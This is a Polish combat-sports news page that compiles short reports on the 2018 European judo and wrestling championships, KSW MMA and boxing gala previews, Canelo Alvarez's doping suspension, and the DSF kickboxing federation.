O krok od złota w grapplingu byli: Maciej Kaluszewski (77kg), Daniel Skibiński (92kg). Z kolei na trzecim stopniu podium zameldowali się Tomasz Nowakowski (77kg), Kamil Umiński (100kg), Sandra Pniak (64kg) oraz Magdalena Zaszczudłowicz (+71kg). W grappling NoGi srebrne medale wywalczyli: Paweł Nedzki (84kg), Anna Augustyn-Mitkowska (53kg), Weronika Zygmunt (58kg) i Sandra Pniak (64kg). Na podium znaleźli się również: Piotr Bagiński (92kg), Kamil Umiński (130kg) i Magdalena Zaszczudłowicz (+71kg).
Czas na zapaśników
Od 30 kwietnia do 6 maja o medale w Kaspijsku walczyć będą zapaśnicy. Do Rosji udała się 21-osobowa reprezentacja Polski. Największe nadzieje wiązane są ze startem Magomedmurada Gadżijewa, który rok temu w Nowym Sadzie sięgnął po srebro w kategorii 70kg w stylu wolnym. Kandydatką do podium jest również Monika Michalik (63kg). Zapaśniczka Grunwaldu Poznań w Nowym Sadzie sięgnęła po złoto. W Rosji postara się obronić tytuł.
W polskiej kadrze nie brakuje doświadczonych i utytułowanych zawodników. Wśród nich są medalistki olimpijskie Agnieszka Wieszczek-Kordus (72kg) oraz Monika Michalik (68kg).
Rok temu w Nowym Sadzie biało-czerwoni wywalczyli dwa medale, co dało im dziesiątą pozycję w klasyfikacji końcowej. Najlepsi okazali się wtedy Rosjanie z 16 krążkami.
Kadra Polski na ME:
styl klasyczny
Michał Tracz (60kg, Śląsk Wrocław)
Dawid Ersetic (63kg, Unia Racibórz)
Dawid Karecińśki (67kg, Śląsk Wrocław)
Geworg Sahakjan (72kg, Cartusia Kartuzy)
Mateusz Wolny (77kg, Unia Racibórz)
Edgar Babajan (82kg, Sobieski Poznań)
Tadeusz Michalik (87kg, Sobieski Poznań)
Marcel Kasperek (97kg, GKS Katowice)
Rafał Krajewski (130kg, Legia Warszawa)
styl wolny
Krzysztof Bieńkowski (65kg, AKS Białogard)
Mogomedmurad Gadżijew (70kg, AKS Piotrków Trybunalski)
Zbigniew Baranowski (86kg, AKS Białogard)
Sebastian Jezierzański (92kg, LKS Dąb Brzeźnica)
Robert Baran (125kg, LKS Ceramik Krotoszyn)
kobiety
Anna Łukasiak (50kg, AZS AWF Warszawa)
Katarzyna Krawczyk (53kg, MKS Cement Gryf Chełm)
Roksana Zasina (55kg, ZTA Zgierz)
Jowita Wrzesień (57kg, CSiR Dąbrowa Górnicza)
Agnieszka Król (62kg, Unia Racibórz)
Monika Michalik (68kg, WKS Grunwald Poznań)
Agnieszka Wieszczek-Kordus (72kg, WKS Grunwald Poznań)
Fot. Polski Związek Zapaśniczy Facebook
KM
Siódme miejsce Macieja Sarnackiego (+100kg) to najlepszy wynik osiągnięty przez biało-czerwonych w mistrzostwach Europy w judo, które odbyły się w Tel Awiwie. Karty rozdawali Rosjanie.
Do Tel Awiwu udała się 11-osobowa reprezentacja Polski. Pierwsze dwa dni zmagań nie przyniosły medalowych występów biało-czerwonych. Wszyscy wiązali nadzieje ze startem Piotra Kuczery (90kg), który w swoim dorobku ma już medal mistrzostw Europy oraz piątym zawodnikiem poprzedniego czempionatu Maciejem Sarnackim.
Judoka Gwardii Olsztyn start w Tel Awiwie rozpoczął od pojedynku z Vito Dragiciem. W swojej karierze Słoweniec stawał na podium jedynie w zawodach na poziomie kontynentalnym. Sarnacki górował doświadczeniem i jego wygrana wydawała się sprawą oczywistą. Polak musiał być cierpliwy, ale walka zakończyła się po jego myśli. Następnie Sarnacki trafił na młodego i zdolnego Stephana Hegyia. 19-latek z Austrii rok temu został wicemistrzem świata juniorów. Austriak wygrał przez waza-ari, a Sarnacki musiał szukać szansy w repasażach. Tam Polak trafił na doświadczonego Henka Grola. Lepiej rozpoczął Sarnacki, który zdobył punkty za waza ari. Chwilę później Grol zakończył pojedynek.
Rok temu w Warszawie Piotr Kuczera wygrał jedną walkę. W Tel Awiwie brązowy medalista z Kazania z 2016 roku szybko pożegnał się z rywalizacją. Walka z Krisztianem Tothem była niezwykle zacięta, ale zwycięsko wyszedł z niej Węgier.
Debiut w mistrzostwach Europy ma za sobą Rafał Kozłowski (90kg). Polak zmierzył się z Czechem Jirim Petrem. 23-latek wygrał przez ippon.
Najlepsi Rosjanie
Bezkonkurencyjni w Tel Awiwie okazali się Rosjanie, którzy zapisali na swoim koncie osiem medali, w tym cztery złote. Na drugim miejscu w klasyfikacji końcowej znaleźli się Francuzi z pięcioma krążkami. Dalej – Belgia, Słowenia, Kosowo po jednym złotym i srebrnym medalu.
Medaliści ME:
-48kg:
1. Irina Dolgova
2. Eva Csernoviczki
3. Maryna Cherniak
3. Milica Nikolic
-52kg:
1. Natalia Kuziutina
2. Distria Krasniqi
3. Gefen Primo
3. Evelyne Tschopp
-57kg:
1. Nora Gjakova
2. Theresa Stoll
3. Anastasiia Konkina
3. Telma Monteiro
-63kg:
1. Clarisse Agbegnenou
2. Tina Trstenjak
3. Lucy Renshall
3. Martyna Trajdos
-70kg:
1. Kim Polling
2. Sally Conway
3. Gemma Howell
3. Michaela Polleres
-78kg:
1. Madeleine Malonga
2. Audrey Tcheumeo
3. Natalie Powell
3. Anna Maria Wagner
+78kg:
1. Romane Dicko
2. Larisa Ceric
3. Yelzaveta Kalanina
3. Tessie Savelkouls
-60kg:
1. Islan Yashuev
2. Yanislav Gerchev
3. Ashley McKenzie
3. Beslan Mudranov
-66kg:
1. Adrian Gomboc
2. Matteo Medves
3. Tal Flicker
3. Dzmitry Shershan
-73kg:
1. Ferdinand Karapetian
2. Hidayat Heydarov
3. Bilal Ciloglu
3. Tommy Macias
-81kg:
1. Sagi Muki
2. Sami Chouchi
3. Antonio Esposito
3. Asian Lappinagov
-90kg:
1. Mikhail Igolnikov
2. Nemanja Majdov
3. Nikoloz Sherazadishvili
3. Theodoros Tselidis
-100kg:
1. Toma Nikoforov
2. Cyrille Maret
3. Zelym Kotsoiev
3. Peter Paltchik
+100kg:
1. Lukas Krpalek
2. Tamerlan Bashaev
3. Henk Grol
3. Stephan Hegyi
KM
Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Europy Judo w Tel-Avivie.
[kod]
Trwają mistrzostwa Europy w judo w Tel Awiwie. Drugi dzień okazał się nieudany dla Polaków. Nasi reprezentanci szybko pożegnali się z rywalizacją.
Przypomnijmy. Pierwotnie do Izraela miała się udać 12-osobowa reprezentacja Polski. W ostatniej chwili ze startu musiała zrezygnować Beata Pacut (78kg), która zmaga się z kontuzją barku. Pierwszego dnia mistrzostw Europy na tatami zaprezentowały się cztery Polki. Karolina Pieńkowska (52kg) i Anna Borowska (57kg) wygrały po jednej walce, a kolejne pojedynki nie ułożyły się po ich myśli. Z kolei Agata Perenc (52kg) i Julia Kowalczyk (57kg) szybko pożegnały się z rywalizacją.
Drugiego dnia na tatami weszła Agata Ozdoba-Błach (63kg). Brązowa medalistka zeszłorocznych mistrzostw świata w tym roku otarła się o podium w Grand Slamie w Jekaterynburgu. W czempionacie globu zaprezentowała się po raz piąty. Do tej pory na koncie miała brąz z mistrzostw w 2014 roku. I tak pozostanie. Polka trafiła na utalentowaną Holenderkę Sanne Vermeer. 20-latka ma na koncie dwa złota mistrzostw kontynentu juniorów. Vermeer odprawiła Ozdobę-Błach, ale w kolejnej walce przegrała z doświadczoną Martyną Trajdos.
Los nie oszczędził Karoliny Tałach (63kg). W pierwszej walce Polka trafiła na mistrzynię olimpijską z Rio de Janeiro, mistrzynię świata i wicemistrzynię Europy Tinę Trstenjak. Słowenka wygrała przed czasem.
Dobrze zmagania w Tel Awiwie rozpoczęła Daria Pogorzelec (70kg). Na początek 27-latka pokonała przed czasem mistrzynię Europy U23 z 2016 roku Węgierkę Szabinę Gercsak. W kolejnej walce Pogorzelec trafiła na Marię Bernabeu. 30-letnia brązowa medalistka mistrzostw świata znalazła sposób na Polkę po upływie blisko 2,5 minuty.
W piątek zaprezentował się pierwszy z naszych panów. Damian Szwarnowiecki (81kg) szybko pożegnał się z rywalizacją. Polak przed czasem przegrał z Węgrem Laszlo Csoknayai.
Dobry początek Rosjan
Mistrzostwa Europy fantastycznie rozpoczęły się dla Rosjan. W czwartek reprezentanci Sbornej zgarnęli trzy z pięciu możliwych do zdobycia złotych medali. Na najwyższym stopniu podium stawali: Irina Dolgova (48kg), Natalia Kuziutina (52kg) oraz Islan Yashuev (60kg).
Fot. IJF – zdjęcie poglądowe
KM
W Tel Awiwie wystartowały mistrzostwa Europy w judo. Jako pierwsze do zmagań przystąpiły panie w kategoriach 52kg i 57kg. Polki szybko pożegnały się z rywalizacją.
Rok temu emocjonowaliśmy się zmaganiami o medale mistrzostw Europy w warszawskiej hali Torwar. Biało-czerwoni zakończyli zmagania z jednym medalem. Po srebro sięgnęła reprezentacja Polski kobiet, która w finałowym boju przegrała z Francją. To właśnie zawodniczki i zawodnicy Trójkolorowych z ośmioma krążkami na koncie okazali się najlepsi w klasyfikacji medalowej.
Tym razem areną zmagań o medale mistrzostw Europy został Tel Awiw. W Izraelu pojawiło się blisko 370 judoczek i judoków, w tym 11 reprezentantów Polski.
Pierwszego dnia zmagań zaprezentowały się panie w kategoriach 52kg i 57kg. Agata Perenc została "rzucona na głęboką wodę". W pierwszej walce trafiła na Joanę Ramos z Portugalii, która rok temu sięgnęła po brąz mistrzostw Europy. 36-latka zaliczyła waza ari i awansowała do kolejnej rundy, jednak tam przegrała z Anją Stangar. Lepiej wypadła druga z naszych judoczek rywalizujących w 52kg. Karolina Pieńkowska pokonała Daryę Skrypnik, jednak w drugiej walce przegrała z czwartą zawodniczką światowego rankingu – Distrią Krasniqi.
Anna Borowska bez większych problemów uporała się z Ulviyyą Rahimli. W drugim starciu lepsza od Polki okazała się Daria Mezhetskaia, która w 2016 roku zdobyła brązowy medal mistrzostw Europy U23. Nie powiodło się Julii Kowalczyk. 20-latka nie sprostała Chorwatce Tenie Sikić.
Czas na kolejnych
Czekamy na występy kolejnych reprezentantów Polski. 27 kwietnia na tatami zaprezentuje się Agata Ozdoba-Błach (63kg), która w 2014 roku w czempionacie globu w Montpellier wywalczyła brąz. Po raz piąty w mistrzostwach Europy zaprezentują się Karolina Tałach (63kg), Daria Pogorzelec (70kg) oraz Damian Szwarnowiecki (81kg).
Z kolei 28 kwietnia miała wystąpić Beata Pacut (78kg), która w imprezie rangi mistrzostw Europy debiutowała rok temu w Warszawie, jednak na przeszkodzie stanęła jej kontuzja. Z pewnością zawodniczka będzie ściskała kciuki za koleżanki i kolegów z kadry. W Tel Awiwie premierowy występ zaliczy Rafał Kozłowski (90kg). Dwa lata temu w Kazaniu niespodziankę sprawił Piotr Kuczera (90kg), który wywalczył brąz. Czy uda mu się powtórzyć ten wyczyn? W 2017 roku Maciej Sarnacki (+100kg) był o krok od podium mistrzostw Europy. Ostatecznie zajął piąte miejsce. Przed Sarnackim szósty występ na mistrzostwach Europy.
Z kim będą rywalizować Polacy?
63kg: Agata Ozdoba-Błach (Polska) – Sanne Vermeer (Holandia) , Karolina Tałach (Polska) – Tina Trstenjak (Słowenia)
70 kg: Daria Pogorzelec (Polska) – Szabina Gercsak (Węgry)
81 kg: Damian Szwarnowiecki (Polska) – Laszlo Csoknyai (Węgry)
90 kg: Piotr Kuczera (Polska) – Krisztian Toth (Węgry), Rafał Kozłowski (Polska) – Jiri Petr (Czechy)
+100 kg: Maciej Sarnacki (Polska) – Vito Dragic (Słowenia)
KM
Ludzie trenują sztuki walki nie tylko po to, by uzyskać określoną umiejętność. Takie treningi to również świetny sposób na to, by pozostać w formie, a do tego zyskać ważną lekcję dla naszego charakteru. Popularność sztuk walk rośnie, a wraz z nią zwiększa się liczba miejsc, w których można uprawiać przeróżne dyscypliny sportowe – od kung fu po boks. Zobaczmy, czym różnią się od siebie sztuki i sporty walki.
Niegdyś można było ćwiczyć takie style jak judo, bok czy karate. Dzisiaj nie brakuje ofert treningów o najbardziej egzotycznie brzmiących nazwach. Muay thai, capoeira, wushu to jedynie kilka z przykładów. Wschodnie sztuki walki to nie tylko nauka bicia się, a w zasadzie – to bardziej nauka obrony, ale również poznanie określonego systemu filozoficznego. Aktywność fizyczna jest wówczas sposobem na zrozumienie samego siebie.
Sztuki walki kształtują charakter. Pomagają uczyć się tak ważnych cech jak wytrwałość, odpowiedzialność, a nawet pokora. To także świetna metoda na wyrobienie w sobie nawyku natychmiastowego podejmowania decyzji, czyli refleksu. Trening judo czy boksu pozwala wyładować wszystkie napięcia, jakie spotykają nas w pracy. Wchodząc na ring lub na matę można zapomnieć o konfliktach w rodzinie. Treningi to również świetna zabawa. Fani określonej sztuki walki często spędzają ze sobą czas również poza treningami. Prowadzi to do powstawania przyjaźni na całe lata.
Sztuki walki dają chyba jeszcze więcej korzyści naszemu ciało. To przede wszystkim świetny sposób na pozbycie się nadprogramowych kilogramów. Godzinny trening sprawia, że spalamy naprawdę wiele energii. Regularne treningi polepszają kondycję i koordynację ruchową. W trakcie ćwiczeń rozwijają się chyba wszystkie partie naszego ciała. Sztuki walki można uprawiać również w bardziej lekkiej wersji, gdy są one połączone z ćwiczenia typu fitness.
Zasadniczo sztuki walki należałoby odróżnić od sportów walki. Te pierwsze opierają się na spokoju, a nie na agresji czy rywalizacji. Najważniejsze w nich jest samoopanowanie. Sztuki walki pochodzą z krajów Orientu. Z kolei sporty walki mają na celu pokonanie przeciwnika, a kwestie duchowe nie mają w nich aż takiego znaczenia lub nie liczą się w ogóle. Chodzi w nich również o to, by móc wyprowadzać ataki z całą siłą, co na przykład w karate nie jest wskazane.
Do najpopularniejszych sztuk walki zalicza się:
Karate – styl walki wymyślony w celu obrony bez stosowania broni. Stosuje się w nim wiele uderzeń i kopnięć, w trakcie których adepci wydają charakterystyczne odgłosy. Jednak nadrzędnym celem karate jest pokonanie przeciwnika bez użycia przemocy. Liczy się tutaj przede wszystkim aspekt duchowy oraz siła charakteru.
Kung fu – chiński styl walki, popularny dzięki Bruce’owi Lee, w którym style są wzorowane na różnych zwierzętach – lamparcie, wężu, żurawiu, tygrysie i smoku. W stylu popularyzowanym w Polsce chodzi o to, by móc bronić się nawet przed większym przeciwnikiem. Dlatego trenujący poznają przede wszystkim czułe punkty przeciwników.
Judo – nadrzędnym celem judo jest doskonalenie samego siebie. Stawia się w niej na szybkość, zwinność oraz świadome stosowanie siły. Przeciwnicy zawsze muszą grać fair play, co uczy honorowości.
Taekwondo – sztuka walki wywodząca się z Korei. Z początku stosowano ją do szkolenia żołnierzy, dopiero w zeszłym wieku stała się znana jako sztuka walki. Osoby praktykujące taekwondo muszą przestrzegać pięciu zasad moralnych.
Często uprawiane, a także oglądane sporty walki to:
Boks – walka w rękawicach bokserskich i w ringu. Podczas pojedynku zakazane jest bicie w głową, z kolana oraz z łokcia. Liczy się nie tylko silny prawy sierpowy, ale również zwinność.
MMA – czyli inaczej mieszane sztuki walki, w której wszelkie chwyty są dozwolone. MMA czerpie z wielu innych technik, zapewniając tym samym zróżnicowany pojedynek i duże widowisko.
Jeden z nich ponownie znajdzie się w posiadaniu pasa wagi piórkowej. 9 czerwca na KSW 44 dojdzie do starcia Klebera Koike Erbsta z Marcinem Wrzoskiem. W karcie walk widnieją również nazwiska m.in. Borysa Mańkowskiego oraz Mariusz Pudzianowskiego.
Koike Erbst efektownie przywitał się z polskimi kibicami. Na gali KSW 30 w Poznaniu w pierwszej rundzie zmusił do poddania Anzora Azieva. Japoński zawodnik perfekcyjnie wykonał duszenie trójkątne nogami. Wiadomo było, że KSW trafiło na zawodnika o ponadprzeciętnych umiejętnościach. Włodarze federacji nie czekali długo i w kolejnym starciu Koike Erbst miał szansę zdobyć pas, ale uległ Arturowi Sowińskiemu. Później stoczył trzy pojedynki, które zakończyły się po jego myśli. Szczęśliwy dla 28-latka okazał się stadion PGE Narodowy. Koike Ebrst na KSW 39 pokonał Marcina Wrzoska i zdobył pas w wadze piórkowej. Japończyk miał go bronić w starciu z Arturem Sowińskim, ale… przesadził z wagą i odebrano mu tytuł.
Zatem pas leży i czeka. Kto po niego sięgnie? Koike Erbst i Wrzosek wiedzą jak smakuje tytuł mistrzowski. Wiadomo, że Polak tanio skóry nie sprzeda. "Polski Zombie" potrafi być bezlitosny dla rywali, o czym dotkliwie przekonał się Artur Sowiński. W ostatniej walce Wrzosek na dystansie trzech rund okazał się lepszy od Romana Szymańskiego. – Wracam po mój pasek! Bądźcie tam ze mną moje Zombiaczki! – napisał zawodnik na swoim Facebooku. Czy Polak pokona swojego jedynego pogromcę w KSW?
W Ergo Arenie nie będzie nudy
9 czerwca w hali położonej na granicy Gdańska i Sopotu czołowymi postaciami będą Karol Bedorf i Mariusz Pudzianowski. O tym starciu mówiło się od dawna. Ten pojedynek wyłoni czołowego zawodnika MMA wagi ciężkiej w Polsce, a zarazem pretendenta do tytułu KSW. Bedorf pas utracił blisko półtora roku temu na rzecz Fernando Rodriguesa Jr. Od tamtej pory Polak nie walczył. Z kolei Pudzianowski ma za sobą trzy wygrane z rzędu.
Pierwszą walkę w 2018 roku stoczy Borys Mańkowski. Były mistrz wagi półśredniej wraca po dwóch porażkach. W superfight na gali KSW 39 przegrał z Mamedem Khalidovem, a w Katowicach (KSW 41) stracił pas na rzecz Roberto Soldicia. "Diabeł Tasmański" chce się odbudować i zapolować na tytuł.
W Ergo Arenie zobaczymy również starcie Tomasz Oświecińskiego z Erko Junem. Jeden z najbardziej znanych trenerów personalnych na świecie 9 czerwca zadebiutuje w MMA.
Fot. Marcin „Polish Zombie” Wrzosek Facebook
KM
Gala Polsat Boxing Night 2018: Noc Zemsty, która odbędzie się w najbliższą sobotę (21 kwietnia) dla polskiego kibica boksu zapowiada się wyjątkowo. Przede wszystkim w ringu zaprezentuje się Tomasz Adamek, dla którego fani zarywali noce. Ponownie z Yourim Kalengą spotka się Mateusz Masternak. Co jeszcze czeka nas w Częstochowie?
Ringowy weteran, bo tak bez wątpienia można nazwać Adamka, wejdzie do ringu po raz 58 i zapoluje na 53 zwycięstwo. "Góral" już nic nie musi, ale cały czas chce boksować. Zwycięstwo z Joeyem Abellem to przepustka do kolejnych starć. W przypadku porażki Adamek będzie musiał zastanowić się nad swoją przyszłością. Trzeba przypomnieć, że wielu skazywało go już na emeryturę. Po porażce z Arturem Szpilką mistrz świata w wadze półciężkiej i junior ciężkiej sam podkreślał, że czas kończyć, ale wrócił. Pokonał Przemysława Saletę, ale został znokautowany przez Erica Molinę. Charakter i wola walki sprawiają, że nadal oglądamy go w ringu. Teraz Adamek sprawdzi się w starciu z młodszym o pięć lat Abellem. Ostatnio Amerykanin potężnie wstrząsnął Krzysztofem Zimnochem i Polak w trzeciej rundzie padł na deski. Abell wygrał 34 walki, z czego aż 32 przed czasem. Trudne wyzwanie przed Adamkiem, ale ten zawsze pokazywał, że chętnie je podejmuje.
Blisko cztery lata temu Mateusz Masternak przegrał niejednogłośnie na punkty z Yourim Kalengą. Tym samym Polakowi koło nosa przeszedł tymczasowy pas WBA wagi cruiser. W Częstochowie Masternak będzie miał okazję do rewanżu. Stawką pojedynku z Kalengą będzie pas mistrza Europy WBO. Kalenga zwraca na siebie uwagę, ale niekoniecznie ze względów sportowych. W styczniu w internecie pojawiło się nagranie, na którym 30-latek pochodzący z Demorkatycznej Republiki Kongo zniszczył Biblię i Nowy Testament. A w ringu Kalenga prezentuje się w kratkę. Z ostatnich trzech walk wygrał jedną, z kolei Masternak ma passę czterech wygranych z rzędu.
O międzynarodowe mistrzostwo Polski w kategorii junior ciężkiej będą rywalizować Adam Balski i Denis Grachev. Polak wraca do zmagań po kontuzji szczęki, której doznał w wygranym pojedynku z Demetriusem Banksem. Dla Balskiego będzie to dwunasta walka w zawodowej karierze. Grachev to doświadczony bokser, który prezentował się na ringach w Stanach Zjedonocznych, RPA czy Meksyku. Ostatnio przegrał z Węgrem Imre Szello.
Niepokonana Ewa Brodnicka stanie do pierwszej obrony mistrzostwa świata WBO w wadze super piórkowej. Polka na ring wraca po blisko rocznej przerwie. Jej rywalką będzie Sarah Pucek. 31-letnia Kanadyjka wygrała cztery walki z rzędu. Występ w Częstochowie będzie jej pierwszym w Europie.
Karta walk gali w Częstochowie:
Tomasz Adamek vs Joey Abell
Mateusz Masternak vs Youri Kalenga
Adam Balski vs Denis Grachev
Damian Jonak vs Lukas Ndafoluma
Ewa Brodnicka vs Sarah Pucek
Robert Parzęczewski vs Emmanuel Danso
Łukasz Wierzbicki vs Michał Żeromiński
Michał Chudecki vs Damian Wrzesiński
Fot. Tomasz Adamek „Goral” Facebook
KM
Pięściarz Saul Alvarez został zawieszony na pół roku. To pokłosie wykrycia w jego organizmie zakazanych substancji. Powrót Meksykanina na ring ma nastąpić… 15 września.
Przypomnijmy, 27-letni Alvarez przygotowywał się do walki z Gienadijem Gołowkinem, które miała odbyć się 5 maja. Pięściarze rywalizowali we wrześniu ubiegłego roku w Las Vegas, a sędziowie ocenili pojedynek jako remisowy. Rewanż wydawał się sprawą oczywistą. Wszystko było zaplanowane, ale ustalenia pokrzyżowały wyniki badań antydopingowych Meksykanina. Dwukrotnie dały wynik pozytywny, a w organizmie Alvareza wykryto clenbuterol. Były mistrz WBC i WBA wagi junior średniej przekonywał, że to wina zanieczyszczonego mięsa. Pięściarz został tymczasowo zawieszony i postanowił wycofać się z walki z Gołowkinem.
Nad sprawą Meksykanina pochyliła się Komisja Stanu Nevada. Popularny "Canelo" został zawieszony na pół roku, ale kara liczy się od daty pierwszego pozytywnego wyniku badania. W związku z tym zawieszenie obowiązuje od 17 lutego. Zatem 1/3 kary już za Meksykaninem, a więc jego promotorzy myślą nad kolejną walką. Prawdopodobnie jeszcze w tym roku Alvarez stoczy 53 pojedynek w karierze. Według pierwszych informacji pojedynek miałby odbyć się 15 września, rywal nieznany.
Gołowkin zaprezentuje się w maju
Wobec problemów Alvareza "na lodzie" został Giennadij Gołowkin. Jednak mistrz świata IBF, WBA i WBC wagi średniej nie będzie nudził się 5 maja. W StubHub Center w Carson zmierzy się z Vanesem Martirosyanem.
36-letniemu Gołowkinowi bardzo zależało, aby wejść do ringu 5 maja. Trwały poszukiwania rywala. Wśród potencjalnych przeciwników mistrza wymieniani byli m.in. Billy Joe Saunders oraz Sergiy Derevyanchenko. Wybór padł jednak na Martirosyana, który w trzech ostatnich walkach zanotował dwie porażki.
Co ważne w kontekście najbliższej walki Gołowkina, ten może stracić pas IBF w wadze średniej. Zdaniem organizacji Kazach powinien zmierzyć się z Derevyanchenką, który jest obowiązkowym pretendentem do tytułu. A to zapewne jest w niesmak Gołowkinowi. Kazach marzy o zdominowaniu wagi średniej. W kolekcji brakuje mu jedynie pasa WBO.
Fot. Canelo Alvarez Facebook
KM
Marcin Tybura będzie miał szansę, aby zrehabilitować się za dwie porażki z rzędu w UFC. Wszystke znaki na niebie i ziemi mówią, że polski zawodnik wagi ciężkiej podpisał umowę na kolejną walkę dla amerykańskiej organizacji. Z kolei nowy mistrz KSW w kategorii półśredniej stoczy pojedynek dla federacji EFE Worldwide.
Czas na wygraną
Trzeba jasno powiedzieć, że Marcin Tybura prezentuje się w UFC z dobrej strony. Z pewnością zawodnik marzył o innym wyniku debiutanckiej walki w amerykańskiej organizacji. 10 kwietnia 2016 roku na gali UFC Fight Night 92 Tybura decyzją sędziów przegrał z Timothy'm Johnsonem. Jednak kolejne występy w UFC potwierdziły, że Polak nieprzypadkowo dzierżył pas mistrzowski wagi ciężkiej w organizacji M-1 Global. Dwie wygrane walki przed czasem, z Viktorem Pestą oraz Luisem Henrique Barbosą de Oliveirą, okazały się dla Tybury przepustką do starcia z legendarnym Andrejem Arlovskim.
W Singapurze Polak stawił czoła byłemu mistrzowi wagi ciężkiej UFC. Zdecydowanie zaczął Arlovski, ale Tybura nie pozostawał bierny. W pierwszej rundzie złapał kopnięcie rywala i walka toczyła się w parterze. Tam Polak pokazał się z dobrej strony. Podobnie w trzeciej rundzie sprowadzał Amerykanina na ziemię, czym punktował w oczach sędziów. Ci zaś nie mieli wątpliwości i po trzech rundach wskazali na Tyburę. Tym zwycięstwem Polak ugruntował sobie pozycję w wadze ciężkiej. A zarazem zapracował na kolejne wyzwanie. Tym razem czekał na niego mocny Fabricio Werdum. Z Brazylijczykiem Polak sobie jednak nie poradził, tak jak i w lutym z Derrickiem Lewisem.
Tybura nadal jest jednym z czołowych zawodników wagi ciężkiej UFC, w rankingu zajmuje ósme miejsce. Najważniejsze, żeby teraz wrócił na właściwe tory. Wszystko wskazuje na to, że pierwszy krok został wykonany. Polak złożył podpis pod umową. – Podpisywanie kontraktów zawsze przynosi pozytywy. Co przyniesie mi tym razem? – zastanawia się zawodnik, który informację o zawarciu umowy podał na swoim Facebooku.
Zatem czekamy, aby zobaczyć Marcina Tyburę po raz siódmy w UFC.
Mistrz KSW poznał rywala
Kilka dni temu Dricus Du Plessis zachwycił Wrocław pokonując Roberto Soldicia i sięgając po pas mistrza KSW w wadze półśredniej. Nie wiadomo, kiedy zawodnik z RPA stanie do pierwszej obrony tytułu.
Pewne jest, że Du Plessis zaprezentuje się na gali EFC Worldwide. Zawodnik ma na swoim koncie pasy mistrzowskie w wadze średniej i półśredniej tejże organizacji. Jego najbliższym rywalem będzie Brendan Lesar.
Fot. Marcin Tybura Facebook
KM
Federacja DSF Kickboxing Challenge rozwija się dynamicznie i oferuje widowiska na najwyższym poziomie. W tym roku organizacja wyprowadziła trzy mocne ciosy w postaci ciekawych gal, a w maju odbędzie się kolejna. Na statku z napisem DSF pojawiają się nowi zawodnicy, którzy są gwarantem wysokiego poziomu sportowego. Tak jak miało to miejsce podczas gali na warszawskim Torwarze.
Pierwsza gala DSF Kicboxing Challenge odbyła się 27 września 2014 roku w hali sportowej w Ząbkach. Tydzień później Marcin Różalski rywalizował na KSW 28 z Peterem Grahamem. Lepszy okazał się Australijczyk. Minęło 3,5 roku i popularny "Różal" ponownie spotkał się z Grahamem, ale już będąc zawodnikiem federacji DSF Kickboxing Challenge. Gdy w listopadzie 2017 roku mistrz świata w kickboxingu podpisał umowę z organizacją Sławomira Duby, wielu nie ukrywało zaskoczenia. A okazało się, że to dopiero początek ofensywny DSF. Dawid Kasperski, Kamil Jenel, Daniel Omielańczuk, Paweł Biszczak, Karol Celiński czy Piotr Strus również zasilili organizację. Tych zawodników nikomu nie trzeba przedstawiać.
Ale DSF nadal zaskakuje. Sławomir Duba niczym wykwintny rybak zarzuca sieci i łowi najlepszych. DSF zapowiadało nowe twarze i w końcu federacja przedstawiła 12 fighterów, którzy do niej dołączyli! Iwona Nieroda, Ewa Pietrzykowska, Maciej Jewtuszko, Michał Kita, Tomasz Sarara, Arkadiusz Kaszuba, Michał Ronkiewicz, Wojciech Kazieczko , Bartosz Dołbień, Adam Dubin, Patryk Kuryłek i Łukasz Bartnik. Najkrócej mówiąc – jest w czym wybierać.
Nie da się ukryć, że federacja DSF Kickboxing Challenge już dawno przestała być anonimowa. Z pewnością wpływ na rozpoznawalność miały "transfery gwiazd". Jednak poziom sportowy gal przyciągał uwagę kibiców żądnych kickboxingu na najwyższym poziomie. Federacja DSF zdaje się tworzyć produkt kompletny. Stawia na sport na najwyższym poziomie. Wśród zawodników są młodzi i obiecujący, doświadczeni o określonym poziomie umiejętności, a także wielcy mistrzowie.
Federacja podejmuje również wyzwania na poziomie organizacyjnym. Gala DSF Kickboxing Challenge 14 na warszawskim Torwarze pokazała, że kibice są spragnieni kickboxingu. Ale ten sukces nie przyszedł sam. Ogromna promocja imprezy, przygotowanie mocnej karty walk, dbałość o szczegóły i stworzenie atmosfery wielkiego sportowego święta. Jednym słowem – DSF jest już na salonach, na których stawia mocne kroki.
Szkoda jedynie, że nie udało się doprowadzić do walki roku. Pierwotnie na warszawskim Torwarze "Różal" miał rywalizować z Jeromem Le Bannerem, ale Francuz w ostatniej chwili wypadł z powodu kontuzji. Zastąpił go Graham, a więc Polak miał okazję do rewanżu. Wykorzystał ją w 100%. W drugiej rundzie Różalski mocnym kopnięciem powalił rywala na matę. Dał jasny sygnał, że jest mocniejszy i w kolejnych minutach kontrolował walkę, a sędziowie jednogłośnie przyznali mu zwycięstwo. Drugą wygraną w DSF zanotował mający za sobą występy w UFC Daniel Omielańczuk.
Nieodłącznym elementem gal DSF są mecze międzypaństwowe. Tym razem w K-1 Polacy rywalizowali z Rosją, więc emocji nie mogło zabraknąć. Po dwóch walkach było gorąco, bo Mateusz Rajewski i Paweł Biszczak przegrali. Do gry pozwolił nam wrócić Kamil Jenel, który pokonał Aleksandra Zakharova. Kolejne walki dla Polaków, Dawida Kasperskiego i Karola Celińskiego, dzięki czemu to biało-czerwoni świętował zwycięstwo. W Warszawie mistrzem wagi ciężkiej został Piotr Romankevich, który w trzeciej rundzie znokautował Dawida Zółtaszka.
Kolejna gala DSF 18 maja. Czego się spodziewać? Z pewnością gwiazd, bo tych w ekipie Sławomira Duby nie brakuje. Dzięki DSF Kickboxing Challenge kickboxing coraz częściej będzie "zaglądał pod strzechy".
Fot. DSF Kickboxing Challenge Facebook
KM
14 kwietnia w Hali Stulecia we Wrocławiu gala KSW 43. Do pierwszej obrony pasa mistrzowskiego wagi półśredniej stanie Roberto Soldić, który zmierzy się z Dricusem du Plessisem. O tytuł w kategorii ciężkiej będą rywalizować Michał Andryszak i Philip de Fries.
